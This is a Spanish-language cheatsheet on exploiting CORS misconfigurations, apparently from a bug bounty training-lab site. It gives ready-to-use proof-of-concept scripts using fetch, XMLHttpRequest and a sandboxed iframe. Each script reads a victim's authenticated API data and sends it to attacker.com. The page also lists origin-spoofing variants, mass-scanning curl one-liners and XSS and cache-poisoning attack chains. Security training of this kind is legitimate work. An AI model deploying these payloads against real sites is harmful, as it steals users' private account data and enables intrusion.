Nuevos labs cada semana — Accede a todos desde 5€/mes
Ver labs →Cheatsheet CORS
Cross-Origin Resource Sharing
Referencia rápida
- →CORS misconfiguration solo es explotable si Access-Control-Allow-Credentials: true
- →Wildcard (*) en ACAO no permite credenciales - no es explotable directamente
- →Si el origin se refleja exactamente, probar variaciones: null, subdominios, prefijos
- →Combinar con XSS en subdominio: el CORS confia en *.target.com + XSS en sub.target.com
- →Cache poisoning + CORS puede afectar a todos los usuarios, no solo a la victima
Deteccion de CORS misconfiguration
Origin reflejadoSi la respuesta contiene Access-Control-Allow-Origin: https://evil.com + Credentials: true = explotable
Origin: https://evil.com
Origin nullPaginas sandboxed (iframes) envian origin null
Origin: null
Subdominio del targetSi acepta cualquier subdominio, buscar XSS en subdominios
Origin: https://evil.target.com
Prefijo del dominio
Origin: https://target.com.evil.com
Sufijo del dominio
Origin: https://eviltarget.com
PoC de explotacion
Exfiltrar datos con fetch
<script>
fetch('https://target.com/api/user/profile', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('https://attacker.com/steal?data=' + btoa(JSON.stringify(d))));
</script>PoC con XMLHttpRequest
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://target.com/api/account', true);
xhr.withCredentials = true;
xhr.onload = function() {
fetch('https://attacker.com/log?data=' + encodeURIComponent(xhr.responseText));
};
xhr.send();
</script>Origin null via iframe sandboxiframe sandbox envia Origin: null
<iframe sandbox="allow-scripts" srcdoc="<script>
fetch('https://target.com/api/me', {credentials:'include'})
.then(r=>r.text())
.then(d=>fetch('https://attacker.com/?d='+btoa(d)));
</script>"></iframe>Metodologia de testing
Scan masivo con httpx
cat alive.txt | parallel -j 50 curl -sk -H "Origin: https://evil.com" -o /dev/null -D - {} | grep -i "access-control"Subfinder + CORS check
subfinder -d target.com | httpx -silent | while read url; do curl -s -H "Origin: https://evil.com" "$url" -D - | grep -i "access-control" done
Cadenas de ataque con CORS
XSS en subdominio + CORSSubdomain takeover + CORS es una cadena clasica
1. Encontrar XSS en sub.target.com 2. CORS acepta Origin: https://sub.target.com 3. Desde XSS: fetch datos autenticados de target.com 4. Exfiltrar via XSS callback
CORS + cache poisoning
1. Enviar request con Origin: evil.com 2. Si la respuesta se cachea CON el header ACAO 3. Otros usuarios reciben la respuesta cacheada 4. El browser permite cross-origin desde evil.com
Herramientas
CORScanner
Scanner automatizado de CORS misconfigurations en multiples dominios
python3 cors_scan.py -i targets.txt -t 50
Corsy
Detecta misconfigurations CORS con multiples variaciones de Origin
python3 corsy.py -u https://target.com
curl manual
Verificacion rapida manual de CORS headers
curl -s -H "Origin: https://evil.com" -I https://target.com/api/me | grep -i access-control
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de práctica